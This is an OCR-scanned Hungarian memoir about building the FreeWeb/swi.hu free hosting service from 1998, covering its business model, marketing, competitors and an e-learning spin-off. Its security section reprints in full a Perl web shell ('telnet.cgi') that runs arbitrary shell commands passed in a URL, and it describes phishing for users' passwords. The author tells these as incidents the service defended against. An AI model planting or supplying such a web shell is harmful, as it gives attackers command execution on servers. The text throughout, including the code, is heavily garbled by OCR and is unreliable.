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Eloszo

Ajanlom ezt a konyvet minden olyan kedves olvasonak, akik szeretik a sci-fi-t, vagy akik nem szeretik. A
kovetkezd oldalakon egy olyan tortenet olvashatd, aminek kozel sincs vége, fordulatos, izgalmas, szoval
minden benne van ami egy regényhez sziikséges. A konyv ir6jatol mar olvashattunk izgalmas miiveket:
Gyakorlati Assembly, Gyakorlati assembly haladdknak, Pentium I-II, stb, tehdt joggal varhatunk egy
ujabb bestsellert. Komolyra forditva a szét ez a konyv egy nem egyediilallé de mégis hazankban nem tul
gyakori iizleti siker (kissebb kudarcokkal kdvezve) ttjat kovetheti nyomon, sok értékes és hasznosithato
informacioval szolgéalhat azoknak, akik a vilaghalot tizleti célokra akarja hasznalni, és olvasmanyos lehet
azok szamadra is akik kivancsiak egy ilyen volumeni projekt létrejottére. Ezek utdn mindenkinek szivbol
ajanlom Gabor konyvét, szamomra is érdekes olvasmanyként szolgalt.

Okolicsanyi Zsolt



Eletrajz vagy rendszerdokumentaci6?

Szamtalan elképzelés, mitosz €és tévhit 6vezi napjainkban az internetes cégeket, ezek kozil is kiemelten
az ingyenes szolgaltatokat, szolgaltatasokat. Célom egy kicsit atlathatobba tenni ezt a kéoszt és
betekintést nyujtani ezen rendszerek mindennapjaiba.

Szokasomtdl eltérden ez a kdnyv nem egy programozoéi szemmel elkészitett tomor rendszerleirds. Egy
ilyen szolgaltatds miikddtetéséhez nem elegendd megfelelden leprogramozni, miikodtetni is kell azt.
Ehhez pedig sok minden sziikséges, tobbek kdzott pénz, sok pénz, amit elvben nehezen 0sszeegyeztethetd
ingyenességgel.

Ahhoz tehat, hogy egy olyan ingyenes szolgaltatast hozzunk 1étre, mely sikeres és megfeleld megélhetést
is biztosit készitdi szamara, nem art ha tudjuk, mire szdmithatunk.

Ez a kdnyv Magyarorszag legnépszerlibb ingyenes webtarhely szolaltatasardl, annak miikddésérol, lizleti
modelljérdl, technikai hatterérdl és az elmult 8 (1998-2006) év torténetérdl szol. Személyiségi okokbol a
konyvben nem (vagy csak mértékkel) emlitek személyneveket és cégeket. Akiket érdekel ez az
informdcio, konnyedén hozzajuthat az internet segitségével.



FreeWeb sziiletik - honnan jott az otlet?

A torténet valamikor 1998-ban kezdddott. Akkoriban elmondhatd volt rolam, hogy teljes mértékig
internet fliggd voltam. Vartam az éjszakai kedvezményes iddszakot, hogy felcsatlakozhassak az internetre
¢s ott hajnalig cseveghessek barataimmal, majd reggel kicsit almosan ugyanezt folytassam a
munkahelyemen, ahol ezt természetesen nem nézték j6 szemmel és mindent megtettek annak érdekében,
hogy engem letiltsanak errdl a lehet6ségrol. Ez a jaték mar-mar egy macska-egér jatékka alakult. Akkor
ez igen sok bosszisagot okozott nekem, de igy utdlag visszagondolva nagyon halas vagyok nekik, mivel
ha ez nem torténik, konnyen lehet, hogy sosem tudom meg, mi az a telnet, mi az az ssh és még sok mas
dolog, ami azota a mindennapjaim részét alkotjak. Valdszintlileg megmaradtam volna azon a szinten, hogy
tudom, hogyan kell a mIRC ikonra réklikelni. A dolog pikantériaja, hogy az akkori fondkom, aki mindent
elkdvetett annak érdekében, hogy én ne férjek hozza kedvenc elfoglaltsigomhoz egyik hétvégén teljesen
letiltatta azt a portot, ahol az irc (Internet Relay Chat — internetes csevegés) szerverekkel kommunikalnak
az irc programok. Hétfon reggel dobbenten vette észre minden dolgozd a véltozast. Arra aranylag hamar
rajottem, hogy a tiltas csak arra az egy teriiletre korlatozodik, igy a telnet protokolt hasznalé HiX cseveg6
része elérhetd maradt szdmomra. Ott gyorsan kisirtam magamnak egy telnet accontot, amirdl lehet irc-zni.
Kedd reggelre sikeriilt komfortos, megfeleléen hasznalhato telnet programot és egy par hozzaférést
szerezni kiilonféle egyetemi, kdzépiskola szerverekre, igy kedden mar gond nélkiil tudtam cseverészni.
Szerdan taladlkoztunk egy biliard parti keretében az irc.bme.hu szerver akkori egyik tizemeltetdjével, aki
csak nekiink csinalt egy maésik portot a szerverre. gy a 6669-es portra csakis attél a cégtol lehetett
kapcsolodni, ahol mi dolgoztunk. Tehat a hét vége fele mar tokéletesen elharult minden akadaly eldliink
¢s ezt erdsen ki is hasznaltam. Egyik alkalommal épp 3 kiilonb6z6 programmal teszteltiink mindenféle
tamadasi és védekezési beallitast egy kedves ismerdsommel, amikor is észrevettem, hogy kedvenc
fonokom ott all mogottem. Mit ne mondjak, elég kellemetlen volt. De mindaz, amiért ezt leirtam ott nyer
értelmet, hogy a fonokom vezetékneve egy igen ritka név hazankban. Ez a vezetéknév megegyezik annak
a személynek a vezetéknevével, aki az Extra.hu ingyenes tarhely szolgaltatast 1étrehozta (majd kés6bb
eladta, de még sokaig maga is ott dolgozott)

Ezen folyamatokkal parhuzamosan keresett meg egy — szintén az interneten megismert — baratom a
probléméjaval, miszerint az altala készitett webes alkalmazast, mely akkor annak a kozépiskoldnak a
szerverén futott, ahol O tanult, el kellene helyezni egy internet szolgaltatonal, mert az iskolaban mar nem
sokdig maradhat.

Ehhez télem a szervert kérte, mint timogatast és Gigy gondolta, talal hozza internet szolgaltatot is, aki a
szerver elhelyezésével tamogatna Ot. Sajnos a szolgaltatok nem voltak elragadtatva az otlettdl igy elég
érdekes ajanlatokat is kaptunk. Koztiik taldn a legbizarrabb egy ma mar nem 1étezd internet szolgaltatoé
volt, aki felajanlotta, hogy ha a teljes programot forraskoddal, jogokkal egyiitt atadjuk neki, O vallalja,
hogy hostolja azt és az oldalon elhelyezett reklamokbodl befolyd pénzek 7%-at megkapna a baratom, én
pedig a szerverért cserébe elhelyezhetem a cégem bemutatkozé weblapjat a gépen.

Lattuk tehat, hogy ez az ut nem vezet el minket a célhoz, igy mas megoldas utdn kellett nézni.
Megnéztiik, milyen lehetdségek vannak sajat szerver elhelyezésére a szolgaltatoknal és milyen arakon.
Végiil két cég maradt ndlunk versenyben, az Euroweb és az Interware, akik akkoriban mindketten 30,000
Ft / ho é4ron biztositottak ilyen lehetdséget. Tekintettel arra, hogy az emlitett webes alkalmazas az
Anonymous FTP keresd volt, ami folyamatosan pasztazta az FTP szervereket és annak tartalomjegyzékeit
letoltve épitette sajat adatbazisat, az Euroweb akkori havi 1GByte adatforgalmi limites csomagjat kizartuk
igy maradt tehat az Interware (akkor még Kft).
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Hemzeti Informacids dra Fejlesztési Program

Anonymous - Magyar FTP keresd
® 1995-92. Program: Kopids Péter, felhasznaldi felllet: Krauter Marton. Minden jog fenntartva.
A program a budapesti Neumann Jénos Szdmitdstechnikai Szakkdzépiskola és Gimndzium szerverdn fut.

Anonymous FTP keres6

Nekialltam tehat Osszerakni egy ,,szervert” amin a kérdéses alkalmazas tizemelhet. Csakhamar el is
késziilt az els6 internetes szerveriink egy AMD Ko6-2 400 processzorral, 256Mbyte memoriaval és
7.6GByte IDE winchesterrel.



Szolgaltatasok kitalalasa - mitol lesz jobb, mint a hagyomanyos mosopor

Egyre csak azon jartak a gondolataim, mit kellene nekem még ratenni erre a gépre. Ott volt ugyanis egy
»erdmil” amin az Anonymousnak kb 1 Gbyte tarteriilet kellett csupan és a terheltsége sem volt jelentds.

Nem sokkal kordbban szereztem tudomast rola, hogy egy masik (szintén internetes) ismerdsdm ingyenes
tarhely szolgaltatast inditott netchicken.hu név alatt.

Tojasrakas MAGazin

Tojdshpolds Sziget

Rakds Tojas Forum

TojasHéjban . Statisztika
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Netchicken.hu

Akkoriban ez egy elég Oriilt otlet volt, hiszen az ingyen tarhely piacot a mar legalabb fél éve lizemeld
nexus ¢€s extra szolgaltatok uraltak. Rajtuk kiviil volt még egy kevésbé ismert oldal, a kiskapu.hu.

In English

Kis ka p U Kfio Szolgéltatdsaink

{dvozdljiik szerverinkén Fejleszt6i részleg

F.A.Q.

VIRTUALIS KONYVESBOLT )

Partnereink

Magdnszemélyek honlapjai

Kiskapu.hu

Sokan a nexus-t tartjak Magyarorszag els6 ingyenes tarhely szolgéltatdjanak, de sokan vannak, akik az
extra-r6l gondoljdk ugyanezt. Az igazsdg az, hogy a kiskapu mar 1 évvel az emlitett 2 szolgaltatés
elindulasa el6tt is 1étezett, de jelentOs ismertségre sosem tett szert.

Mivel kevésbé Oriilt Gtlet nem jutott eszembe, miért ne alapon ugy dontottem, én is csinalok egy ilyet.
Arrél, hogy ez miért lesz jo, fogalmam sem volt, mégis belevagtam. Nem készitettem eldtte
megvalosithatdsagi tanulmanyt, nem biztam meg egyetlen piackutatod céget sem, de még egy iizleti tervet
sem készitettem, mar csak azért sem, mert azt sem tudtam, mi az. Akkoriban a munkam soran felmeriilo
legkomolyabb problémara is valaszt taladltam a nagy fekete MAGIC kdnyvben, vagy az adott fejlesztés
rendszerspecifikacigjaban. Gazdasdgi, marketing ¢és egyéb hasonld kérdésekkel sosem kellett
foglalkoznom.



Azért, hogy ne teljesen esélytelentil induljon a moka, kicsit kattintgattam és korbenéztem, ki mit ad, majd
kezdett kdrvonalazddni, hogy mi az, amibdl tobbet lehet adni, mint mésok illetve milyen 1j dolgokat lehet
bevezetni, amiket el6ttiink még senki nem probalt. Mint utébb kidertilt, ez a 1épés volt a legfontosabb,
ezen mulott a szolgaltatds sikeressége. Kés6bb mar minden egyes szolgaltatast tigy alakitottunk ki, hogy
az egy lefedetlen rést célozzon meg a piacon. Ha ez nem volt lehetséges, de az adott szolgaltatast mégis el
kellett inditani, sokkal sokkal nagyobb reklam befektetésre volt sziikség ahhoz, hogy eredményeket
érjiink el. Mivel a FreeWeb az orszag egyik legnagyobb nézettségli szolgaltatojava tett minket, sok
mindent el tudtunk érni erébdl, azaz olyan mennyiségli reklammal, ami az esetleges konkurens
szolgéaltatokat, szolgaltatasokat ellenstlyozta. Ezek azonban sokkal kevésbé voltak hatékonyak, mint az
elébb emlitett megkozelités.

A legtrividlisabb a tarhely méretének megnovelése volt. Akkoriban (emlékeim szerint) a netchicken 3, a
nexus 5 az extra pedig 3 Mbyte tarhelyet biztositott ingyenesen a felhasznaloknak. Nekem tehat ennyit,
vagy ennél tobbet kell adnom, hogy engem vélasszanak, igy lett SMbyte az induld tarhely mérete, de
minden 100 latogat6 / nap utan tovabbi SMbyte tarhelyet kapott a felhasznalo.

Mivel kordbban elég sok emberrel beszélgettem, sokaktol hallottam azt a panaszt, hogy zavaro6 a felugro
(popup) reklam ablak, ami az ilyen ingyenes oldalaknal megjelenik. Akkoriban ugyanis még nem igazan
volt popup blokkoldé a bongészokben. Hasonléan nehézkesnek taldltam a weben keresztiili allomany
feltoltést is mivel akkor mdar napi szinten haszndltam FTP programokat melyek haszndlata sokkal
kényelmesebbnek tiint.

Ekkor jott az otlet, hogy tegyiik a reklamot egy keretbe (frame) minek hatasara sokkal kevésbé lesz
zavar¢ illetve a hatékonysdga is sokkal jobb, mivel a latogatd nem jatszik agyaggalamb lovészetet a
felbukkano ablakok jobb felsé sarkara vadaszva. A weblapot bongészve pedig akaratlanul is meg fogja
nézni az oldal tetején elhelyezett és ott mozdulatlanul pihend rekldm csikot.

Ez ragyogé dolog, hiszen akkor igy majd sokkal konnyebben tudom eladni a hirdetéseket (gondoltam én)
a webes feltoltést pedig konnyedén helyettesithetjiik FTP-vel.

A web mar akkor sem kizardlag statikus html oldalakbdl 4llt, lehetdség volt (mar ha a szerver engedte)
dinamikus oldalak készitésére is php és cgi programok segitségével. Ezek azonban kizarolag a draga
fizetds tarhelyeken voltak haszndlhatok, ingyen senki se adott ilyen lehetdséget.

Igy nagyjabol 6sszeallt a kép, SMbyte webes tarhely, FTP feltoltés, frame reklam, php és cgi futtatas.
Mint utobb kidertilt, ez egy igen nyerd koktél volt.

Teljesen biztos voltam benne, hogy az oldalak tetején 1évé reklam feliileteket konnyedén el tudom majd
adni és abbol majd gyorsan meggazdagodom, am ehhez eldbb fel kell futtatni a szolgaltatast. Kellett tehat
valami mas is, ami addig is kitermeli legaldbb a szerver hosting havi 30,000 Ft-os koltségét.

A probléma megoldéasa teljesen kézenfekvd volt, ha adunk ingyenes tarhelyet, adjunk mellé fizetds
tarhelyet is (természetesen azt reklamok nélkiil). fgy kialakitottam egy kereskedelmi tarhely szolgaltatast
is, ahol a tarhely 450Ft / Mbyte volt és még az aldomainért is havi 500 Ft-ot kértem. De kérhettem is,
mert akkor ez még olcsonak is szamitott.



 Domain regisztrdicié és minéségi webtdrhely egy helyen: http://www.swi.hu
Névadas

A szolgaltatasok kitalalasaval parhuzamosan folyt a névvalasztas is. 1998-ban ez még aranylag egyszerii
volt, mivel csak cégnév.hu-t vagy védjegy.hu-t illetve ujsdgnév.hu-t jegyeztek be (ez utobbi lehetdséget
eldszeretettel hasznaltak ki leleményes emberek iddszaki Gjsagok inditasaval). Ezen feliil, ha az adott név
foglalt volt, lehetett roviditést alkalmazni. Szamomra pont ez utdbbi lehetdség dontdtte el, mi lesz a
domain név, mivel az akkori vallalkozasom nevének megfelelé domain nevet mar bitorolta egy hasonlo
nevill cég, igy nem volt mas lehetéségem, a domain név swi.hu lett.

Ingyenes e-mail szolgaltatdsarol mar sokan ismerték a c3 alapitvanyt, aki freemail.c3.hu néven
iizemeltette rendszerét. Erre az ismertségre épitve lett az swihu ingyenes szolgaltatasanak neve
w3.swi.hu



Tegyiik ismertté a szolgaltatast - de pénz nélkiil

Hosszabb-rovidebb fejlesztési és rendszergazdai munka utan elkésziilt a nagy mii, betettiilk a szervert a
szolgéltatohoz és vartuk a csodat. Mint bérbdl és fizetésbol €16 ember, nem igazan tehettem meg, hogy
kitapétazom a villamosok oldalat, vagy TV reklamot készitek, igy alternativ megoldasokat kellett keresni.

Legegyszeriibbnek az altalam akkor mar eléggé megkedvelt és sokat hasznalt IRC hasznalata tiint. Mivel
ez nem allt masbol, mint belépni egy népszerli csatornara (chat szobaba), beirni par sor rekldmot majd
kitiltsanak. A moka azért nem volt teljesen hatastalan, par ember megnézte a weblapot, 1-2 még
regisztralta is magat.

Kovetkez6 1épés egy tintasugaras nyomtatd segitségével etikett matricdk nyomtatasa volt (kb. 1000 db)
majd ezeket egy par segitékész jo barat kozremitkddésével az orszag legkiilonb6zébb pontjain helyeztiik
el. Megjelent a matrica egyetemi mellékhelység ajtajanak belsé oldalan, szamitégép teremben a monitor
sz€1én, jegykezeld automatan, lakdtelepi bejarati ajtokon, telefonfiilkében és még szdmtalan olyan helyen,
ahol sok ember megfordul.

Az eredmény itt sem maradt el, mind a latogatok, mind a regisztralt felhasznalok szama folyamatosan
noétt, de a csodara még egy kicsit kellett varni. Azaz inkabb csabitani, mégpedig mas szolgaltatoknal 1évd
népszerl oldalakat. Természetesen mindezek mellett a mar elkészitett oldalak latogatoihoz is eljuttattuk
reklamunkat az oldalakon elhelyezett reklamcsik formajaban.

Ezen négy eszkdz hatdsdra az 1998 szeptember kozepén inditott szolgéltatds 1999 februar kortil
robbanasszertien elkezdett ndvekedni. Ez a novekedés természetesen a konkurens szolgaltatdkat is
felrazta kicsit és elkezdddott a szamhéaboru. A szolgaltatok egymadsra licitalva emelték a felhasznéloknak
biztositott tarhely kapacitast. E16szor az extra 3-rdl 6-ra, az SWI 5-r6l 10-re. Ezt kovetéen az extra 6-rol
20-ra, valamikor kozben a nexus is emelt 5-r6l 20-ra, majd 55-re. Ezt a licit harcot a végtelenségig
lehetett volna folytatni, de nem igazan lett volna neki értelme. Helyette inkdbb megvizsgaltuk az akkori
regisztralt felhasznalok szokdsait, lehetdségeit, majd arra jutottam, hogy tegyiik korlatlanna a tarhely
méretet! Ez els6 hallasra Oriiltségnek tiint €s szinte mindenki annak is gondolta, mivel az elsé benyomas
utan nem is gondolkodott rajta tobbet. En is pontosan erre szamitottam, mivel ennek hihetetlen marketing
ereje volt. Az 5-nél tobb a 6, a 6-nal a 10 és igy tovabb, de a korlatlan az mindennél nagyobb €és nem lehet
nala nagyobbat mondani. Ebbdl adédodan a licitharc itt véget is ért, az extra maradt 20Mbyte, a Nexus
pedig 55.

Ahogy szoktadk mondani, a lényeg mindig az apobetiis részben talalhato. Nalunk ugyan nem volt aprd a
betlik mérete, mégis ott volt par kiegészités a korlatlansaghoz. Egyrészt az, hogy 500 Mbyte-ig korlatlan,
felette minden +1 Mbyte-hoz napi 1 latogatora volt sziikség, Ez pedig egy elég szlik réteg, mivel elég
kevés oldalnak volt napi 500 latogatonal tobb. Ett6l még azonban hamar problémadink lettek volna, ha
nincs az egyes allomany tipusokra vonatkoz6 méret korlat. Ennek kdszonhetéen az igazan sok tarhelyet
foglalé filmeket, zenéket, programokat a rendszer a megadott méret felett azonnal tordlte. Ezen
korlatozasok és az a tény, hogy 1999 koriil még a betarcsazos internet volt ,,az” internet, csupan néhany
egyetemen, foiskolan, kollégiumban volt valodi szélessav, technikailag is lehetetlen volt nagy
adatmennyiséget elhelyezni.

Ennek ellenére a StarWars 1. rész kalézmésolatanak megjelenésekor (akkor még 10Mbyte jart 1
tarhelyhez), 132 regisztracié felhasznaldsaval feltoltotték a teljes filmet a szerverre. Ennek két
kovetkezménye lett. Egyik a szerveren kozel 300-as load, masik pedig a szokasos 4-6Mbit adatforgalom
helyett 15mbit. Ez a szam meglehetdsen soknak szamitott, mivel a gépek tobbsége még nem a ma ismert
UTP csatlakozason keresztiil kapcsolddott az internetre, hanem 10Mbit savszélességre képes BNC
halozaton at. Az Interware-nél az tligyfelek koziil talan csak az SWI gépe csatlakozott 100Mbittel. A
dolog vége — miutan kideritettiik, hogy mi okozza a tilterhelést — természetesen az oldalak torlése lett.



Hurra, ismert lett a szolgaltatas, de mit kezdjiink ezzel?

Az oldal nézettsége lassan, de biztosan emelkedett és elérte azt a szintet, ahol mar érdemes volt a
hasznositas lehetdségei utan nézni. Mivel rekldm és marketing ismereteim gyakorlatilag nem voltak,
igyekeztem felvenni a kapcsolatot olyan személyekkel, akik ebben jaratosak. Mondtak, hogy csinaljak
médiaajanlatot, csinaljak demografiai kutatast és hasonl6 hasznos Otletekkel lattak el, amit természetesen
meg is fogadtam. Végignéztem mas oldalak hasonl6 termékeit €s igyekeztem lemasolni, vagy egy kicsivel
jobbat irni, mint 6k. Sajnos, mint utdbb kidertilt, ez teljesen felesleges idopazarlas volt, pedig tobbszor is
nekifutottam, hatha mar tal régiek az adatok és azért nem vasarol senki. Probaltam {igynokségekhez
bejutni, de azon kiviil, hogy bajosan elcsevegtiink egymassal, semmi eredménye nem lett a taldlkozonak.
Utobb megtudtam, hogy az ingyenes szolgaltatasokat jobbara a szex-el azonositjak €s eleve kizarjak az
ilyen feliileten torténd hirdetést. Azt persze soha senki nem merte felvéallalni, hogy megnézi, mirdl is van
sz6 tulajdonképpen €s radobbenjen, hogy az oldalak 1-2%-a csupan az ilyen tartalom. Az pedig egy kiilon
fintora a dolognak, hogy a demogréfiai felmérést témakoronként is elvégeztiik (természetesen ezt nem
hoztuk nyilvanossagra) és az deriilt ki, hogy azzal a hittel szemben, hogy az erotikus oldalakat a
kozépiskolas didkok nézegetik 15-16 éves atlag életkorral, a valdsadg az, hogy az ilyen tartalma oldalak
latogatoi 2-3 évvel és legalabb egy fizetési kategoriaval az atlag felett vannak, valamint iskolazottsaguk is
az atlag feletti. Természetesen kutatdsunk nem volt hitelesitve, csupan tobb ezer névteleniil kitoltott
adatlap elemzése soran jutottunk erre a megéallapitasra. Ott alltunk tehat egy népszerti szolgaltatassal, sok
sok latogatoval, bevétel nem igazan volt beldle.



Az ismertség nem mindig jo

Sokan ismerik azt a mondast, miszerint az ismertség irigyeket sziil. Nincs ez masként az interneten sem ¢€s
akkor még nem tettliink emlitést a nem teljesen korrekt eszkdzokkel harcol6d konkurenciarol.

Tortént egyszer, hogy a szerveren futdé apache webszerver program mindenféle hibaiizenet vagy barmi
eldjel nélkiil egyszer csak leallt. Es ezt a legkiilonbozébb idépontokban volt képes produkalni. Az
egyetlen dolog, ami k6zo6s volt az esetekben, hogy egy bizonyos toplista oldalon megnézve az utolsé 10
latogatd IP cimei kozott minden alkalommal ott volt egy bizonyos cim, ami az egyik konkurencidhoz
tartozott. Az egyetlen dolog, amit tenni tudtunk, az 6sszes olyan IP kitiltdsa volt, ami hozzajuk tartozik.
Ezt meg is tettiik, de mint kés6bb kideriilt, 1 cimet kifelejtettiink. Pont azt a cimet, ami az omin6zus
konkurencia volt tulajdonosanak a gépéhez tartozott. Csakhamar megcsorrent a telefonom és
meglepetésemre éppen ez az ember hivott fel. Igen, az az ember, akirdl a konyv elején is emlitést tettem,
akinek a vezetékneve megegyezik a volt fonokom vezetéknevével. Nos, nem éppen baritkozni akart
ugyhogy egy kicsit le is kellett halkitani a telefont, hogy hallaskarosodas nélkiil isszam meg a dolgot. A
besz¢lgetés tartalma nem is 1ényeges, mivel kicsivel késobb a fondkével is beszéltem, aki természetesen
semmit sem tudott arrél, hogy miért all le néha a webszerveriink, de megigérte, hogy mindent megtesz az
igy kivizsgalasa érdekében, csak sziintessem meg a tiltast, mivel az ligyfeleik reklamdlnak, hogy nem
érik el az oldalunkat.

A beszélgetés utan megsziintettilk az IP cimek tiltdst és érdekes modon ezutan nem tortént hasonlod
esemény. Késobb hallottam ezt is, azt is, de igazabol sosem tudtam meg, hogy paranoidm valds volt-e
vagy sem.

Természetesen a felhasznalok sem tétlenkedtek ekozben. Minden adandé alkalmat megtalaltak arra,
hogyan keseritsék meg é¢letiinket. Folyamatosan, a legkiilonfélébb mddon probalkoztak kitagitani a
rendszer adta lehet6ségeket. Keresték a lehetdséget, hogyan tudnak shell hozzaférést szerezni, hogyan
férhetnek hozza a felhasznaléi adatokhoz, hogyan gatolhatjdk meg az oldalak stabil miikodését, stb. Ez
egy folyamatos macska-egér jaték volt, ahol igyekeztiink 1épést tartani a felhasznalokkal tobb-kevesebb
sikerrel. gy utdlag visszanézve egyszer volt igazan veszélyben a szolgaltatas, ekkor 10 perccel eléztiik
meg a betorési kisérletet. Szerencsére a hacker sem volt rosszindulatd, inkabb csak tesztelni akart minket.
Miutan meglepetésére nem sikeriilt betdrnie a szerverre még gratuldlt is nekiink. (azt persze nem tudta,
hogy 10 percen mulott)

A szolgaltatas egyiitt alakult a felhasznalok (vagy nevezziik inkédbb hackereknek dket) szokasaival. A
legtrividlisabb probalkozas, amit azéta minden Gjonnan indult ingyen tarhely szolgaltatasnal eljatszottak,
kiilonb6z6 belsonek tiind felhasznaloi név leregisztralasa (pl webmester, info, root, admin, stb.) amihez
altalaban a felhasznaldinév(@szolgaltatdsneve e-mail cim is tarsul. Ha ez megvan, nincs mas dolga a
felhasznalonak, mint egy szivhez sz0lo levél megfogalmazadsa mondjuk arr6l, hogy a rendszer
Osszeomlott ¢s kiildje el felhasznaldi nevét €s jelszavat a megadott mail cimre. Innentdl persze aki beddl a
levélnek, bucsiut mondhat weboldalanak és a leveleinek. Ez a jaték azonban csak a jéghegy csucsa. A
valdéban komoly probalkozasok ennél mélyebbre mennek és a rendszert magat veszik célba. Mind koziil a
kedvencem volt a telnet.cgi nevii kis perl alkalmazés, ami nem volt mas, mint egy webes telnet program.
Ezt egy kedves Japan felhasznalo tette fel hozzank.

#1/usr/bin/perl
#<
# telnet.cgi<
#<

# 1997/08/18 Ver.0.00<
# 1997/08/19 Ver.0.01<
# 1997/09/05 Ver.0.02<
# 1997/09/17 Ver.0.03
# 1997/11/11 Ver.0.04
# 1998/01/23 Ver.0.05
# 1998/01/30 Ver.0.06
# 1998/03/03 Ver.0.07
# 1998/04/06 Ver.0.08
# (c) 1997,1998<

# e-mail addr : gama@mvg.biglobe.ne.jp<
# <

# usage:<



:/usr/local/lib*
:/usr/local/lib/mh*
:/usr/local/sbin*
:/usr/local/libexec”
:/usr/local/canna/bin*

# ex. <
# telnet.cgi?date<
#<
#
$ownname=""http://$SENV{ " SERVER_NAME " }$ENV{ " SCRIPT_NAME"}";
#
SENV{"PATH"} = */bin"
. ":/usr/bin”
*:/usr/ucb*
":/etc”
" :/usr/etc”
*:/usr/lib*
*:/usr/local/bin*”
*:/usr/local/X11R6/bin*
*:/usr/local/bin/mh*

#
($dir,$cmd)=split("&",$ENV{"QUERY_STRING"});

$dir =~ s/dir=//;
$dir =~ s/%(..)/pack("c",hex($1))/ge;

~ s/cmd=//;
~ s/\+/ /g;
$cmd =~ s/%(..)/pack("c",hex($1))/ge;

#
$|=1;

print "Content-type: text/html\n\n";
print "<HTML><BODY>";
print "<PRE>\n";

#

chdir(sdir™);

$wd=&pwd;

print "Curr Dir:$wd\n";

#

$cmdpr = $cmd;
$cmdpr =~ s/&/&amp;/g;
$cmdpr =~ s/</&l1t;/g;
$cmdpr =~ s/>/8&gt;/g;

print "\n<B>&gt;$cmdpr</B>\n";

#

if ($cmd =~ /~cd(\s)*/ ) {
unless (chdir($")) {
print “cd $":not success.\n";

}
$dir=&pwd;
print “Curr Dir:$dir\n";
} else {
open(PROC, "$cmd 2>&1 |™); #

while (<PROC>) {

*

s/</\001/g;
s/>/\002/g;

ALY

s/(.) (\x08\1)+/<B>$1<\/B>/Q;
s/_\x08(.)/<U>$1<\/U>/g;
s/0\x08\+/<S>X<\/S>/g;

HHHE W

s/<\/(.)><\1>//g; # </TAG><TAG>

A

s/&/8&amp;/g;
s/\001/&l1t;/g;
s/\002/&gt;/g;

H* W
A

print $_;

}
close(PROC);

print "</PRE>\n";
print "<HR>";

print "<FORM ACTION="" . $ownname . """ METHOD="GET"'>";

print "<INPUT TYPE="hidden"™ NAME="dir"™ VALUE="" . $dir . "">";

print "<INPUT TYPE="text" NAME="cmd" SIZE=80 VALUE="" . $cmd . "">";
print “<INPUT TYPE="submit"™ VALUE="Send">";

print "</FORM>";

print "</BODY></HTML>";

exit;
#
sub pwd {
use Cwd;
$wd = Cwd::getcwd();
unless ($wd) {
$wd="/";
return $wd;
¥

telnet.cgi forraskod



A bongészdbe kiadott shell parancs eredménye is a bongészében jelent meg. Természetesen ennek csak
Ggy lehetett 1étjogosultsaga, ha a felhasznalok nincsenek bekorlatozva sajat konyvtaraikba. Es
természetesen nem voltak. Mindez 0gy deriilt ki, hogy szokasos napi chatelgetésem kozben
Osszetalalkoztam egy masik chateldvel, akinek a hostja a freeweb szerver volt. Mondanom sem kell, az
itd megallt bennem és azonnal Iéptem be a szerverre €és szoltam a rendszergazdanak, hogy mi ez!

Tokéletes megoldast sosem tudtunk erre a probléméara megalkotni. Amit elértiink, hogy olyan
allomanyokhoz, konyvtarakhoz, amikhez nem kell feltétlen hozzaférnie a normalis miikkodéshez egy
programnak, nem voltak elérhetdk a felhasznalok szdmara illetve a szerverrdl kifele semmiféle
kapcsolatot nem lehetett kezdeményezni, igy a szerverrdl irc-zé€s megsziint.



Okta.to az elso internetes tavoktato rendszer

Mivel pénz még mindig nem volt a szolgaltatasbol, ki kellett talalni valami mas forrast, amibol
finanszirozni lehetett a szerverek bdvitését. Az otlet nem is tudom, hogy jott, de valahogy kialakult. Par
évvel a cég inditasa eldtt jelentek meg assembly konyveim, melyek varatlanul jol fogytak a kiado szerint.
Megprobaltam hat a konyv alapjan egy webes tavoktatd anyagot elkésziteni. A rendkiviil komoly kutato
¢s elokészitd munkak, piackutatas és hasonlok helyett késziilt egy fejezetenként 3-5 weboldal méreti
anyag, mely utolsd oldaldn minden esetben egy feladat volt, amit el kellett késziteni és e-mailben
elkiildeni.
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Az assembly tanfolyam weboldala

Ha ez megtortént €s a megoldas jo, a kovetkezod szintre Iéphetett. A tanagyag volt ez egyetlen, ami igazan
komoly volt, a tanfolyamot elvégzd didkok vizsgamunkaja egy norton commander jellegli program
megirasa volt assembly-ben. A tanfolyamra rozsaszin csekken befizetett 3 500 Ft dij ellenében lehetett
jelentkezni, mindezt a legmelegebb nyéri hénapokban. Szdval minden adott volt egy kiados bukashoz,
ami a legnagyobb meglepetésemre elmaradt. Egy honap alatt kozel hisz diak jelentkezett a tanfolyamra,
aminek nem kicsit Oriiltem akkoriban. Persze, ez a 60-70 000 Ft nem egy hatalmas 6sszeg, de ahhoz
elegendd volt, hogy nagyobb fantaziat lassak az internetes tavoktatasban, igy elkezdtiink kifejleszteni egy
erre alkalmas keretrendszert, mely automatan képes tobb egymastol fiiggetlen tanfolyamot, oktatot és
diakot kezelni és leregisztraltuk hozza az okta.to domain nevet is.



Tanuléknak

Az okta.to tavoktato oldal arculata

Ezzel parhuzamosan megkezdddott a tanarok felkutatdsa. Az iizleti modell egyszeri volt, a bevételen
osztozunk fele-fele aranyban, cserébe O elkésziti a tananyagot, mi pedig meghirdetjiik. Sajnos a kezdeti
sikerek ellenére a projekt sosem lett igazan jelentds bevételi forrds. A vizsgéaztatas helyfiiggetlensége
miatt az akkreditalasrdl sz6 sem lehetett, az igy adott oklevél pedig igazdn semmit sem ért. A tudasuk
ugyan meglett a diakoknak, mivel minden tanfolyamnal ez volt az elsédleges szempont, de papir nem volt
rola. A tavoktatd rendszer masik nagy hibdja, ami miatt végiil bezarésra keriilt, az a sok oktaté volt, akik
koziil mindig volt par, akikre sok panasz érkezett. Ezek helyére folyamatosan 0j tandrokat kellett keresni,
a didkokat kiengesztelni, stb.



~ Domain regisztracié és mindségi webtdrhely egy helyen: hitp://www.swiihu
Az ingyenes tarhely egyre népszeriibb, de a gép mar nem sokaig birja

A kezdeti rozsaszin kod leszallt, az oldalak tetején taldlhatod reklam feliiletet senki nem akarta megvenni
¢s a fizetds tarhelybdl is csak annyi bevétel volt, ami a hosting koltségeket fedezte. Ez természetesen a
felhasznalokat egyaltalan nem zavarta, azok csak jottek és jottek s6t, hamarosan megjelentek az elsé
Japan weblapok. Utobbinak ekkor még kitord lelkesedéssel tudtam Oriilni, &m amikor mar tobb Japan és
egyeb nehezen olvashato betiiket hasznalo orszag felhasznaloi regisztraltdk magukat naponta, mint ahany
Magyar ¢és ezek mind-mind egy hasonld dinamikus (BBS) oldalt hoztak létre, minek hatasara a szerver
levegdt is alig kapott, valami megoldast kellett talalni a problémara. Rovid tdvon természetesen megoldas
